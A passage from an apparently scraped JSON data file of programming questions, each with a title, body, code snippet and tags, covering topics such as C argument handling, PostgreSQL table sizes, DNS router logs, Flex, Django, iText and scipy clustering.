["Passing multiple arguments to main in c", "\nLet's say I got this code, if I'm
getting multiple arguments in this main (say I do something like \"./program car
house student phone\"), each of them would be a different argument, how do I put
them on a va_list? \nI don't know how many arguments I'm going to receive, but I
need to put it on a va_list, help pls! thanks!\n", "int main(int argc, char
*argv[]) // Send the path as a parameter\n{\n char ptr2[BUFSIZE]; \n
va_list list;\n va_start(list,argv[]);\n}\n", "c arguments gnu"], "5128236":
["How do you find the disk size of a Postgres / PostgreSQL table and its indexes",
"I'm coming to Postgres from Oracle and looking for a way to find the table and
index size in terms of bytes/MB/GB/etc, or even better the size for all tables. In
Oracle I had a nasty long query that looked at user_lobs and user_segments to give
back an answer. I assume in Postgres there's something I can use in the
information_schema tables, but I'm not seeing where. Thanks in advance.\n", "",
"database postgresql table"], "4515": ["DNS Servers being block by my router
despite being allowed in the firewall", "I see entries like this in my router logs:
\n\n8.8.8.8 is a DNS server. \nA few questions regarding this:\n\nWhy is the DNS
server trying to contact me?\nDo I need to be concerned that it can't reach it's
destination?\nIf so, what can I do to allow it access?\n\nI'll add an update for
why a DNS server might be trying to contact me. In this case, after some digging, I
found the failure detection in the router behind this one is set to use DNS servers
to figure out if one or the other connections to it is down.\nUpdate 2: \nOne of
the suggestions was to run DNS locally. Actually, DNS is being run locally, and I
just encountered a problem related to it and came back to update the question. \
nYou see, I am seeing \"no address associated with hostname\" errors in application
code that is trying to reach paypal.\nSo now I'm wondering if these logs are
showing up telling me the local DNS is trying to update from the main DNS, but
can't get updates, which means it can't find the external APIs the app depends on.\
nThoughts?\n", "src=8.8.8.8 dst=108.x.y.z ipprot=17 sport=53 dport=54789 \nUnknown
inbound session stopped\n", "dns router"], "3522851": ["Java XHTML Doclet: fatal
exception", "Has anyone used XHTML Doclet, and can you provide some hints as to how
to get it to work successfully?\nI run it like this: \n\n(all on one line)\nWhen I
run it I get this:\n\nIt seems like it ought to just work. \nWhat am I doing wrong?
\n", "\\sunjdk\\bin\\javadoc -doclet net.sourceforge.xhtmldoclet.Doclet \n
-docletpath c:\\sw\\java\\XHTML_Doclet_0.4.jar -d <output>\n [class files
here]\n", "java xhtml doclet"], "2459732": ["I cant find the Plugin Project in my
newly installed Eclipse? Help", "File > New > Other , but its not there. =(. I only
see General, CVS, Java, Tasks, XML and Examples.\nDo I need to install anything
else to get the Plugin Project so I can use the wizard?\nThanks, I was planning to
write some sweet plugins but I am stuck.\n", "", "eclipse plugins eclipse-plugin"],
"5400169": ["Flex: flashVars via the <object> tag", "with the following code:\n\
nHow can i get the value of flash vars using Flex (flash builder 4.6) and without
using swfObject.js?\nWith regards,\nMike\n", "<object classid=\"clsid:D27CDB6E-
AE6D-11cf-96B8-444553540000\" width=\"100%\" height=\"100%\" id=\"thisISparta\">\n
<param name=\"flashVars\" value=\"asdf=GNU,is,not,unix\" />\n <param
name=\"movie\" value=\"thisIsSparta.swf\" />\n <param name=\"quality\"
value=\"high\" />\n <param name=\"bgcolor\" value=\"#ffffff\" />\n
<param name=\"allowScriptAccess\" value=\"sameDomain\" />\n <param
name=\"allowFullScreen\" value=\"true\" />\n </object>\n",
"actionscript-3 flex flash-builder"], "2442593": ["Rails Radio buttion link to
controller action", "How can I set a selected radio button in my view to perform an
action in my controller. \nFor example, I have 3 search actions defined in my
controller, and I would like the user to select a radio button which would route
the search query to the appropriate controller action. \n", "", "ruby-on-rails
ruby-on-rails-3 ruby-on-rails-3.1"], "2179051": ["array ouput not correct", "i am
using 2 classes and a bunch of methods to store something in an array then writing
it to a file. After i write something to a file, instead of being of the var
double,\nthis is my code:\n\nQuest 1 is a class, Quest 2 is a class and String
filename is just getting passed through.\nAfter doing all that and putting the
Quest3 object in my main menu.\nI run the program, input all my values etc which
get put into an array in the class Quest 2 and then i write them to a file. \ni
open that file to check if it has worked and i get this: \n\nhow do i fix that to
get my double variables in the file?\n", "public void storeArray(Quest1 a, Quest2
b, String filename) throws FileNotFoundException{\n\nPrintWriter k = new
PrintWriter(filename);\nfor(int i = 0; i < a.getDays(); i++)\n{\n
k.println(b.storeArr(a));\n}\n\nk.close();\nSystem.out.println(\"Written.\");\n}\
n", "java arrays methods"], "1494738": ["Add (or remove) objects to a final static
HashSet at runtime in Java?", "I'm working with Java 4; some time ago I came across
a variable which was declared in a public class as:\n\nand I needed to add (or
remove) objects to it at runtime under some circumstances.\nThe class had a public
constructor which was called before I had to either add or remove objects to said
Set.\nI thought that final variables were treated as constants so I wouldn't be
able to call the .add(object) and .remove(object) methods on it at runtime. But I
did it anyway, I created two public methods to perform the add and remove
operations, and it worked.\nWhy? I'd expected it either not to compile or to throw
some kind of exception at runtime.\nCan someone explain?\nThank you very much,\
nbest regards\n", "final private static Set name = new HashSet(){\n {\n
add(object1); \n ...; \n add(objectN);\n }\n};\n", "java static runtime
set final"], "5097097": ["WIX 3.5 Multiple Instances Windows Service", "I have a
simple WIX installer which will install a Windows Service. I have Multiple
Instances setup so that the service can run side by side. \nEverything is looking
good the only problem I'm now having is when I uninstall the installation. It
completely removes the actual windows service executable, however it doesn't
completely remove the registry entry. Going into the I can still see the service
name. I have to go into the registry and manually delete the entry.\nCheck out my
VS2010 solution here: http://andrewherrick.com/spike/multiplewindowsservices.zip\
nYou can easily recreate it by installing the default instance, then install
instance 01 side by side. Then try and uninstall instance 01. You will see it
isn't removed from the services list.\nAny thoughts?\n", "services.msc", "windows-
services installer wix"], "1121221": ["SQLITE multiple table join with a
condition", "I have these tables \ndoodhiya \n\ndoodhdata\n\npricemilk \n\
ncashdata\n\nI want to make a monthly bill and I am succeed buy using it... but in
a bill how can i show last month balance....I am trying to use it\n\nBut I want to
use defaultprice when milkprice is NULL....how it is possible...??\nThanks in
advance.\n", "dhid INTEGER PRIMARY KEY NOT NULL, \ndname TEXT NOT NULL, \ndfname
TEXT NOT NULL, \ndage INTEGER NOT NULL, \ndadd TEXT, \ndphone INTEGER NOT NULL, \
ndemail TEXT NOT NULL\n", "sqlite table left-join"], "5134131": ["How to manage
URLs in CodeIgniter so they can be updated in a single place", "I believe Smarty
templates has functionality built in that allows you to manage your site URLs from
a config file so if something gets moved, you only have to update the URL in one
place. Does this sort of functionality exist in CodeIgniter? If not, any pointers
or examples on how/where to add it?\nFor example:\nInstead of hard-coding the link
it would be: \nBut where would you want to set $links so that it was available
everywhere? Or is it really best to just hard code them?\n", "<a href=\"<?=$links-
>settings ?>\">Settings</a>", "codeigniter smarty"],
"5584447": ["Using Substring and INSTR in Oracle", "I am not able to create a this
Select query :\nWhen I query:\n\nI get the output as:\n\nNow I want to fetch the
data such as product id retrieved is:\n\nThat means every product id other than
starting with EMA should come as it is and those starting with EMA should be
without EMA.\nNeed to append this within another select query. Can't use procedure.
\n", "SELECT DISTINCT PRODUCT_ID FROM SYSADM.TABLE; \n", "oracle select
substring"], "2139358": ["Set Image source from Callout Menu Flashbuilder?", "I am
currently working in Flashbuilder 4.6 to create a mobile tablet application and I
have created a menu structure using a callout button with a viewnavigator contained
in it.\nThe issue I am having is that I am trying to set the image source value on
one view from this callout menu. The code below is for the firstview in my
application, which contains the image I want to change via the menu selection:\n\
nThis is the firstview loaded into the application. Then the code below is from one
of the menu contained in the callout where i am trying to set the source of the
image in the firstview to be equal to a new value, thus changing the main content
based on the menu selection:\n\nI have also tried tracing the value to the console
for the current source of the image on the first view, however it errors out due to
a null value. It wont let me change the image which isreally annoying as I need to
change the image on that firstview that is loaded based on the menu item selected
in the callout, any ideas?\nIf someone could tell me how to maybe even change that
firstview to a new one via some sort of pushview from the callout I could do it
that was I guess but ot ideal.\nThanks\n", "<?xml version=\"1.0\" encoding=\"utf-
8\"?>\n<s:View xmlns:fx=\"http://ns.adobe.com/mxml/2009\"
xmlns:s=\"library://ns.adobe.com/flex/spark\" title=\"Main Page\">\n<s:layout>\n
<s:VerticalLayout paddingTop=\"15\" paddingBottom=\"15\" paddingLeft=\"15\"
paddingRight=\"15\" gap=\"5\"\n horizontalAlign=\"center\"
verticalAlign=\"top\"/>\n</s:layout>\n<s:Image id=\"Image\" width=\"100%\"
height=\"100%\" scaleMode=\"letterbox\" smooth=\"true\"\n
smoothingQuality=\"high\" source=\"assets/Image1.png\"/>\n</s:View>\n", "android
mobile flash-builder"], "5223633": ["Obtaining a HGroup subcomponent that it is in
view of a Scroller container Adobe Flex 4.5", "I have setup a Scroller container
around an HGroup of labels. The Scroller is setup to only display a single label at
a time. What I am trying to do is determine which label is in view of the Scroller
when a button is clicked. I have scoured the reference material on Scrollers and
HGroups, but cannot formulate a programmatic strategy to determine what element of
the group is in view.\nScroller Code for reference:\n\nEventually these Labels will
be images, but using labels for proof of concept currently.\nAny help would be
greatly appreciated, and thank you for reading.\nEDIT:\nSo after implementing an
approach with lastIndexInView, I keep getting \"TypeError: Error #1009: Cannot
access a property or method of a null object reference.\" on the
line \"vehicleID.text = Label(lObj).text;\". Below is the code involved:\
nFunction:\n\nComponents:\n\n", "<local:Scroller id=\"imageViewer\"
includeIn=\"startState\" left=\"411\" right=\"411\" top=\"241\"\n
bottom=\"356\" depth=\"2\"> \n <s:HGroup id=\"imageGroup\" gap=\"0\"
width=\"100%\" height=\"100%\"> \n <s:Label id=\"vin1337\" width=\"201\"
height=\"104\" color=\"white\" fontSize=\"30\"\n text=\"Vehicle
ID:1337\" textAlign=\"center\" verticalAlign=\"middle\"/>\n <s:Label
id=\"vin2567\" width=\"199\" height=\"104\" color=\"white\" fontSize=\"30\"\n
text=\"Vehicle ID:2567\" textAlign=\"center\" verticalAlign=\"middle\"/>\n
<s:Label id=\"vin9456\" width=\"199\" height=\"104\" color=\"white\"
fontSize=\"30\"\n text=\"Vehicle ID:9456\" textAlign=\"center\"
verticalAlign=\"middle\"/>\n </s:HGroup> \n</local:Scroller>\n", "actionscript-3
flex flex4 flash-builder spark"], "701372": ["Parsing error for nested object?",
"Can anyone help? My data is being filtered by values chosen from two dropdown
lists - then nested/rolled up to get the mean value per day for these same values.
I am getting a \"problem parsing d error\" for the code below. Although both filter
and nest functions are returning the correct data - the problem occurs when I try
to apply this data to the line graph to update it? \n\n", "
d3.select(\"#parameterType\").on(\"change\", function() \n { \n
d3.select(\"#dateTimeTaken\").on(\"change\", function()\n { \n var
selectedParameter = document.getElementById(\"parameterType\").value;\n var
selectedMonth = document.getElementById(\"dateTimeTaken\").value;\n\n //filter
data by selected parameter and month \n var selectedData =
data.filter(function(d) { \n return d.parameterType == selectedParameter &&\n
+d.dateTimeTaken.getMonth() == (selectedMonth - 1);});\n\n
console.log(selectedData);//returning correct data\n\n //get average reading for
each day within selected month \n var newdata = d3.nest()\
n .key(function(d) {return d3.time.day(d.dateTimeTaken);}) \
n .sortKeys(d3.ascending)\n .rollup(function(d) \n {\n
return {\n mean: d3.mean(selectedData, function(d) {return
+d.reading;})};\n })\n .entries(selectedData);\n
console.log(newdata);//returning correct data\n\n //UPDATE GRAPH\n\n //not
returning correct max values? \n x.domain(d3.extent(newdata, function(d)
{ return d.key; }));\n y.domain([0, d3.max(newdata, function(d) { return
d.values; })]);\n\n svg.select(\"path.line\")\n .attr( \"d\",
line(newdata));\n\n svg.select(\".x.axis\")\n .transition()\
n .duration(750)\n .ease(\"linear\")\n .call(xAxis);\n\n
svg.select(\".y.axis\")\n .transition()\n .duration(750)\
n .ease(\"linear\")\n .call(yAxis);\n", "javascript d3.js"],
"5913521": ["sqlite cascading delete", "the parent table \nis\n\nchild table is\n\
nI also execute sql \nhowever it does not work,When i delete one row from BHEAD,its
associated rows in BDET not gone...\nwhy was that many thanks\n", "CREATE TABLE
BHEAD (ID INTEGER primary key asc, DESCR TEXT, LINECTR INT, UNITCTR INT)", "sql
delete"], "2234498": ["How to enable forward search in Adobe Reader from
TeXnicCenter?", "I am creating a LaTeX document in TeXnicCenter with LaTeX => PDF
profile. There is a feature which allows to open and scroll auto-generated PDF to
the paragraph that is under the cursor in TeXnicCenter. This works with Sumatra PDF
and the feature is called \"Forward search\" in Profile settings, \"Viewer\" tab. I
would like to have the same feature with Adobe Reader.\nIs this possible at all? Do
I have to use \"command line\" or \"DDE command\" setting? What do I have to fill
in \"Command\", \"Server\", \"Topic\" fields in the Profile settings?\n", "", "pdf
search latex adobe-reader scrolling"], "1751651": ["A good source for WINAPI
messages, message hierarchies, initialization routines", "Does anyone know where
can I find a good resource on WINAPI messages?\nThe information on MSDN has a very
good document on each message alone, but the global picture is still foggy for me.\
nSay if I override WM_NCCALCSIZE to override the frame non-client area and extend
the client area to whole window, who will take care of the close buttons and stuff?
Who fire HITTESTS. In what order WM_SIZE, WM_CREATE, WM_ACTIVATE are fired? Are
there any other messages that are good points to override the base functionality?\
nEvery time I override a message like WM_SIZE, I always feel unsure if there are no
other linked messages like WM_SIZING that have to be overrided as well. And I can't
seem find a good document on the topic.\n", "", "winapi messaging"], "699647":
["Unable to use Test Users for posting through Open Graph", "I have a problem
with \"open graph actions\".\nI get no error with my developer account.\nIf I've
created a test user. I get an error with my \"open graph actions\" (response error
like the cook example on developers.facebook.com.\nWhy does everything well with my
developer account.\nBut I get an error with a test user.\n", "", "facebook testing
graph open"], "5734105": ["Like/Recommend Shows link relative to www.facebook.com",
"I have recommend buttons setup for articles in a blog. My OpenGraph meta tags are
setup and checking the url on the facebook debugger shows the expected information
(shown below obfuscated)\n\nHowever, in the user's wall, the image is not shown &
the URL is shown relative to facebook:\nhttp://www.facebook.com/blog/title-of-blog\
nThe problem is identical whether the recommend is on the actual page, or located
on a different page with a URL directing to the page. The 'like' count functions as
expected.\nThe updated time above shows that it shouldnt be a cache problem.\nAny
help appreciated.\n* SOLVED * - URL submitted to button was relative rather than
absolute.\n", "fb:app_id xxx\nog:url http://example.com/blog/title-of-artilce\
nog:type article\nog:title Title of article\nog:image *correct image*\
nog:description *description*\nog:site_name Sitename\nog:updated_time
1326303278\n", "facebook-like opengraph"], "5054681": ["Check the difference
between todays date and a previous date in android", "I have to find the day
difference between todays date and another previous date. How can i find??\nI write
the code :\n\n", "Calendar calfromDate = Calendar.getInstance();\
ncalfromDate.set(m_nVYear, m_nVMonth, m_nVDay);\nlong m_lDate =
calfromDate.getTimeInMillis();\nCalendar calToday = Calendar.getInstance();\nlong
today = calToday.getTimeInMillis();\nLog.d(\"debug\",
\"today:\" +today);\nLog.d(\"debug\", \"from date:\" +m_lDate);\nint
day_difference = (int)((m_lDate - today)/(24*60*60*1000));\n", "android datetime
time"], "3562434": ["How to set identity for Windows client for NFS without
identity server?", "I am using the Windows 7 NFS Client to access a Fedora FC 11
NFS Server. The identity presented by Windows NFS Client to the NFS server can
only be set in AD or if running a special identity server that runs on Windows
Server 2003 R2. Is there any way to set the identity from a standalone Windows
client machine?\n", "", "windows nfs client"], "5038001": ["PHP, IMAP and Outlook
2010 - folder names encoding is different?", "Im developing e-mail client in php
(with symfony2) and i have problem with folders with non-ascii characters in
name. \nFolder created in php app is visible in same app correctly. Same in
Outlook, created in outlook looks good in outlook. In other cases not. Folder
created in outlook is not displayed correctly in php and vice-versa. \nIm using
utf-7 to encode folder names in php. Which encoding uses Outlook? \nExample: Folder
named \"Wys\u0142\u0105ne\" (misspelled polish word meaning \"sent\"), first one is
encoded in utf7 by php, and second created in Outlook:\nPHP:\n\nOutlook:\n\nWhy it
differs? How to make it in same encoding?\n", "Wys&xYLEhQ-ne\n", "php symfony2
imap utf-7"], "2382502": ["MATLAB: patches disappear in various circumstances when
faceAlpha is not 1", "I'm using 64 bit matlab r2010a on windows 7 (this may be
relevant if this is an obscure rendering bug)\nthis is apparently a bizarre bug
that manifests itself when the text interpreter is latex\n\nthis code will produce
a blue box with a black border and a legend outside the axes\n\nIf I change the
code, so that the patch has a non-opaque alpha value,\n\nI get an empty black box
instead of a filled one, and an axes resized correctly to place a legend outside
but no legend.\nThe patch also disappears if I run all the code up to legend, then
click \"edit plot\" on the figure menu. The patch does not reappear after I
uncheck \"edit plot\". The figure and axes properties (using get(gcf) and get(gca)
respectively) are identical before and after clicking and unclicking \"edit plot\"\
nResizing the figure window does not cause the patch to disappear. Resizing the
axes from the command line:\n\ndoes not cause the patch to dissapear.\nI have tried
setting opengl to hardware and software mode (using opengl hardware, opengl
software) and found no difference.\n", "set(0, 'DefaultTextInterpreter', 'Latex');\
n", "matlab graphics rendering patch"], "2387753": ["Javascript Google map api
remove markets and show new", "I have a map with an UL list of options such as
cars, neighborhoods etc. When one is selected it removes any current markers on a
google map and shows the selected ones.\nI have managed to get as far as when the
the list is clicked for the first time it will show the markers. When clicked the
second time it does remove the current markers but does not display anymore
markers.\nThe problem I am trying to solve is that when the list is clicked the id
is passed to the the drop function and the array markers that matches is displayed.
So for example if cars is clicked the id of the li is cars and that is passed to
the drop() function and the array cars is shown on the map. Not sure the best way
to use a particular array based on a string passed of the same name?\nThanks\n\n",
"$(document).ready(function() {\n\n $(\".markerSelection\").click(function() {\n
var selectionId = $(this).attr(\"id\");\n drop(selectionId);\n }); \n});\n\
nvar cars = [\n new google.maps.LatLng(52.26183, -7.11339),\n new
google.maps.LatLng(52.26134, -7.11226),\n new google.maps.LatLng(52.26067, -
7.11181),\n new google.maps.LatLng(52.26003, -7.11033)\n];\n\nvar neighborhoods
= [\n new google.maps.LatLng(52.26183, -7.11339),\n new
google.maps.LatLng(52.26134, -7.11226),\n new google.maps.LatLng(52.26067, -
7.11181),\n new google.maps.LatLng(52.26003, -7.11033)\n];\n\nvar overlay;\nvar
map;\nvar markersArray = [];\n\nvar markers = [];\nvar iterator = 0; \n\nfunction
drop(selectionId) {\n clearOverlays();\n for (var i = 0; i <
neighborhoods.length; i++) {\n setTimeout(function() {\n addMarker();\n },
i * 200);\n }\n}\n\nfunction addMarker() {\n marker = new
google.maps.Marker({\n position: neighborhoods[iterator],\n map: map,\n
draggable: false,\n animation: google.maps.Animation.DROP\n });\n
iterator++;\n markersArray.push(marker);\n}\n\n// Removes the overlays from the
map, but keeps them in the array\nfunction clearOverlays() {\n if (markersArray)
{\n for (i in markersArray) {\n markersArray[i].setMap(null);\n }\n }\
n}\n", "javascript google-maps"], "4411407": ["How do I return custom content with
an error response in IIS 7?", "My API returns JSON content with some errors, such
as 500 (Bad Request). Under IIS 6, this worked fine. In IIS 7, once I turn off
detailed error messages it simply returns the text \"Bad Request\". How can I keep
the contents of my response intact?\n", "", "iis iis7 web-services api json"],
"1738146": ["Teamcity - last commit author and comment - pass into ant script",
"How to pass svn last commit author and comment to ant build script, invoked via
Teamcity runner?\n", "", "svn ant teamcity svnkit"], "3124254":
["Ext.ux.TDGi.iconMgr for ExtJS 4", "Ext.ux.TDGi.iconMgr for ExtJS 4 \nDo anybody
ported Ext.ux.TDGi.iconMgr plugin to extJS 4?\n
(http://tdg-i.com/44/extuxtdgiiconmgr...-icons-and-css)\n", "", "css plugins extjs
icons extjs4"], "20446": ["Connected to VPN, can't access remote computer", "I have
connected to my work's VPN network from my home PC without problem. Unfortunately,
I can't seem to get much working beyond that.\nFor example, at work there's a
computer named \"Foo\". If try to ping \"Foo\", the name resolves to the correct
IP address, but I receive 100% packet loss. Any attempt at establishing a remote
desktop connection also fails.\nI've completely disabled my firewall at home in an
attempt to resolve the problem with no success. My home PC is running Windows
Server 2003, and my work PC running Windows XP Professional.\nDo any VPN experts
have any idea of what might be going on?\n", "", "networking vpn firewall remote-
desktop"], "2159262": ["Intuitive explanation of Nakayama's Lemma", "Nakayama's
lemma states that given a finitely generated $A$-module $M$, and $J(A)$ the
Jacobson radical of $A$, with $I\\subseteq J(A)$ some ideal, then if $IM=M$, we
have $M=0$.\nI've read the proof, and while being relatively simple, it doesn't
give much insight on why this lemma should be true, for example - is there some way
to see how the fact that $J(A)$ is the intersection of all maximal ideals related
to the result?\nAny intuition on the conditions and the result would be of great
help. \n", "", "abstract-algebra intuition commutative-algebra modules"], "680520":
["How to plot a Picture in a 3D-plot in MatLab?", "I want to plot a round png
picture with alpha-channel in 3D plot.\nI'm searching for three days without
success... I need help!\nTHANKS!\n- dwn \n", "", "matlab 3d png plot picture"],
"1739238": ["Normalization in MYSQL", "Could anybody help me to know what is
normalization in mysql and in which case and how we need to use it..\nThanks in
advance.\n", "", "mysql normalization"], "3543537": ["Joomla - adding cutom
parameters", "As usual I don't get replies on Joomla forum, and so far I love
StackOverflow, and I'm asking my next question.\nI have custom component for
products.\nIn that component I have Categories, Subcategoris and Products.\nI want
to filter the products according to some parameters. So I thought adding params
would be a good idea.\nSo far I found one article about adding custom params but it
didn't work for me. \nI don't want to add param to the whole component.. I want to
add param to only my Products view. \nWhen user clicks add product that parameter
selection should appear.\nDoes anyone have any ideas?\nP.S. did I explain quite
enough?\n", "", "joomla joomla1.5 joomla-extensions"], "3124252": ["MSI Patch
Creation Problems", "A new version of our product (a software package) has been
released recently. To expand functionality, we developed a plugin afterwards. Now
we would like to deploy these files (two new files and an updated version of an
existing file) as hotfix (or update) with MSI patch (msp). I downloaded a blank PCP
file from MSDN website and made some changes in it. The changes involve the
following tables:\nImageFamilies\nPatchMetadata\nPatchSequence\nProperties\
nTargetImages\nUpgradedImages\nAll the other tables remain blank.\nThen, I managed
to create an msp file with this PCP file based on two versions of the admin image
of the software package, both of which were built from Visual Studio setup project
(VS 2010). The difference between these two msi packages are that I replaced a file
and added two new files in, but nothing else. I didn't change the product code
(GUID), the upgrade code (GUID), nor the version number.\nThen I was trying to
install this msp file on top of the released version.\n\nThe first screen appearing
is asking to Repair or Remove the product. This is not what we want. We want the
installer is like a fresh installation, including showing the licence agreement.
How do I define the UI for MSI patch?\nDuring the installation of the patch, I got
an error message as below, then the installation failed:\n\nBPS is the folder where
we install our product in [ProgramFilesFolder]. I wondered why MSI was trying to
search in \"C:\\Windows\\system32\" for files installed in [ProgramFilesFolder]. In
addition, the changed files in the hotfix are located in somewhere else
([CommonAppDataFolder]) instead of in this \"BPS\" folder.\n\nCan anyone
help me with these problems? If any more information is needed to identify the
issues, please let me know. Any thoughts, advices, suggestions would be very much
appreciated.\nDan\n", "Error 1001. Exception occurred while initializing the
installation: System.IO.FileNotFoundException: Could not load file or assembly
'file:///C:\\WINDOWS\\system32\\Files\\BPS\\TestApp' or one of its dependencies.
This system cannot find the file specified.", "visual-studio-2010 deployment msi
setup-project patch"], "3543535": ["Tutorial for IP-based Virtual Hosting", "I want
to host multiple SSL websites on my virtual private server. I was told that in
order to achieve this, I need to do IP-based virtual hosting. If this is the case,
can someone recommend a newb guide on how to set this up? \nI am using Ubuntu
9.10, apache 2, and php 5.\n", "", "ssl vps multiple"], "2773271": ["extending an
entity framework model", "i want extend an entity framework model with a temporany
attribute.\nI need it only in a mvc form. I don't need save it in the db.\nHow can
i do it?\n", "", "entity-framework forms asp.net-mvc-2 model"], "654206":
["Generics in Java", "I need a tutorial about Generics in java, the document on
oracle is very confusing, can anyone give some resources about Generics?\n", "",
"java generics"], "619258": ["Is it possible to use partials to be rendered as
wrappers in Rails?", "I would like to render structures like this:\n\nThe tag1,
tag2 are the same, they are just parametrized. The inner part of the code changes.
I tried to implement the thing above like that (haml):\n\nThis was the partial
_content_head.html.haml, which is called from a template:\n\nMy theory that yield
inside the partial would lead to rendering of the passed block did not prove. Is
there a way to use partials as code wrappers? Can you suggest me some solution how
to reach this? Thank you.\n", "<tag1>\n <tag2 someattribute=\"somevalue\">\n
<.. lot of things inside ..>\n </tag2>\n</tag1>\n\n<tag1>\n <tag2
someattribute=\"someothervalue\">\n <.. different inside things inside ..>\n
</tag2>\n</tag1>\n", "ruby-on-rails-3 view rendering partial-views"], "4863898":
["What is the preferred merge method for SQL Server 2005?", "I have mainly been
using the Exists Method for merging a row into a table but I am considering
switching to the Row Count Method. Is there any reason not to? \nExists Method\n\n\
nRow Count Method\n\n\nPerformance\nThe Row Count Method seems to be dramatically
faster. On a table with about 50k rows it clocks in at 1/5 the time of the Exists
Method. The tests were not too scientific but even with a conservative +/- 15% that
is considerable. This is the main reason I want to switch.\n\nNOTE\nThe examples
were purposely made simple for readability. They in no way reflect my actual
situation.\n", "If Exists(Select * From Table Where ID = @ID) Begin\n\n Update
Table Set Value = @Value Where ID = @ID \n\nEnd Else Begin\n\n Insert Into
Table (Value) Values (@Value); \n\nEnd\n", "sql sql-server sql-server-2005 merge
upsert"], "927347": ["Creating editable HTML tables with Django", "I'm trying to
create a Django app where the user can make a list of movies. Each time the user
logs in, their list of movies will be presented to them in a table. The table will
have three columns: one for the movie's name, one for the genre, and another that
will contain delete buttons that will allow the user to delete the row
corresponding to the button. The user can add rows to the table by filling in a
textbox with the name of the movie, and selecting a genre from a drop down menu,
and then pressing an \"Add\" button. The \"Add\" and \"Delete\" buttons are the
only way by which the user can edit the table.\nIs there any Django shortcuts to
creating such an editable table? I thought this might be something that is
appropriate for formsets, but I can't figure out how to do it. Also, it has been
difficult to google \"Django tables\" as the results seem to be about database
tables.\nThis is the model that I am currently trying to use:\n\nAny help would be
very much appreciated.\n", "class MovieList(models.Model):\n user =
models.ForeignKey(User)\n movie = models.ForeignKey(Movie)\n\nclass
Movie(models.Model):\n genre = models.ForeignKey(Genre)\n name =
models.CharField(max_length=300)\n\nclass Genre(models.Model):\n name =
models.CharField(max_length=200)\n", "django django-forms"], "4410670": ["Adding
music to a pdf", "I was able to add some music to a PDF with the code at the end.\
nIf you do the same with Acrobat Pro and add some music to the first page,\nthere
is a small icon for the music. With right click you can open an additional
windows,\nwhere you can control the music with buttons (start/stop/volume control)
like a small player.\nIs there a way to to this also with the itext api? I can't
find any examples in the internet.\nUwe / Germany\n\n", "package ula.pdf.example;\
n\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport
com.itextpdf.text.DocumentException;\nimport com.itextpdf.text.Rectangle;\nimport
com.itextpdf.text.pdf.PdfAnnotation;\nimport com.itextpdf.text.pdf.PdfBoolean;\
nimport com.itextpdf.text.pdf.PdfFileSpecification;\nimport
com.itextpdf.text.pdf.PdfIndirectReference;\nimport com.itextpdf.text.pdf.PdfName;\
nimport com.itextpdf.text.pdf.PdfReader;\nimport com.itextpdf.text.pdf.PdfStamper;\
nimport com.itextpdf.text.pdf.richmedia.RichMediaActivation;\nimport
com.itextpdf.text.pdf.richmedia.RichMediaAnnotation;\nimport
com.itextpdf.text.pdf.richmedia.RichMediaConfiguration;\nimport
com.itextpdf.text.pdf.richmedia.RichMediaInstance;\nimport
com.itextpdf.text.pdf.richmedia.RichMediaPresentation;\n\npublic class Stamper03 {\
n private static final String RESOURCE = \"O.pdf\";\n private static final
String OUT = \"M_Musik.pdf\";\n private static final String SOUND = \"M.mp3\";\
n\n private void stamp() throws IOException, DocumentException {\n PdfReader
reader = new PdfReader(RESOURCE);\n PdfStamper stamp = new PdfStamper(reader,
new FileOutputStream(OUT));\n\n\n PdfFileSpecification fs =
PdfFileSpecification.fileEmbedded(stamp.getWriter(), SOUND, \"MUKE\", null);\n\n
PdfAnnotation anno = PdfAnnotation.createScreen(stamp.getWriter(), new
Rectangle(0f, 0f, 500f, 500f), \"Sound\", fs, \"audio/x-mp3\", true);\n
stamp.addAnnotation(anno, 1);\n\n stamp.close();\n }\n\n public static void
main(String[] args) throws IOException, DocumentException {\n Stamper03 appl =
new Stamper03();\n\n appl.stamp();\n\n }\n\n}\n", "itext"], "4505587": ["How
to implement IDispatch methods?", "I have played with a third-party library that is
accessed with a COM interface.\nFor some tests, I have created the main form as:\n\
nTForm1 implements all methods of IThirdParyCOMInterface, and I get the
functionality that I need.\nThe next step is to create a separate class only for
dealing with this COM-Interface.\nDoing something like this:\n\nresults in compiler
errors:\n\nE2291 Missing implementation of interface method
IDispatch.GetTypeInfoCount\n E2291 Missing implementation of interface method
IDispatch.GetTypeInfo\n E2291 Missing implementation of interface method
IDispatch.GetIDsOfNames\n E2291 Missing implementation of interface method
IDispatch.Invoke\n\n( IThirdPartyCOMInterface = interface (IDispatch) )\nIt seems
that TForm already implements these IDispatch methods, but my new simple class
doesn't.\nHow can I do this for a new class like the above?\nFrom which class
should I inherit my new class, so that these IDispatch methods are already
implemented?\nEDIT:\nI just found TAutoIntfObject. Is that what I need?\n(COM is a
bit confusing to me, and I am just guessing here)\n", "TForm1 = class (TForm,
IThirdParyCOMInterface)\n", "delphi com delphi-xe2"], "3001307": ["SIFT
Descriptors: What does circular support patches refer to?", "Im reading up on this
article, Image Classification using Random Forests and Ferns. Its written:\n\nSIFT
descriptors [19] are computed at points on a regular\n grid with spacing M pixels.
At each grid point the descriptors\n are computed over four circular support
patches with\n different radii, consequently each point is represented by\n four
SIFT descriptors. Multiple descriptors are computed\n to allow for scale variation
between images.\n\nIm not sure what the part about four circular support patches
means. Anyone who can clarify this to me?\n", "", "image-processing machine-
learning sift"], "2442594": ["Add UIBarButtonItem to navigationItem.titleView?", "I
have a navigationController which has a navigation bar. I would really like to
have 3 UIBarButtonItems, one on the left, one in the middle, and one on the right.
I am able to get the left and right ones added, but how would I add one in the
middle, since when using a navigationController, I can't add an array of items to
the navBar items property?\nCould I somehow add a UIButton, styled like a
UIBarButtonItem in the titleView location?\n", "", "iphone ios uitableview
uinavigationcontroller uibarbuttonitem"], "2134718": ["Can't get scipy hierarchical
clustering to work", "I wrote a simple script that is intended to do hierarchical
clustering on a simple test dataset. \nI found the function fclusterdata to be a
candidate to cluster my data into two clusters. It takes two mandatory call
parameters: the data set and a threshold.\nThe problem is, I couldn't find a
threshold that would yield the expected two clusters.\nI'd be happy if anyone can
tell me what I am doing wrong. I'd also be happy if anyone could point on other
approaches that would be better suited for my clustering (I explicitly want to
avoid to specify the number of clusters beforehand.)\nHere is my code:\n\nHere is
the output:\n\n", "import time\nimport scipy.cluster.hierarchy as hcluster\nimport
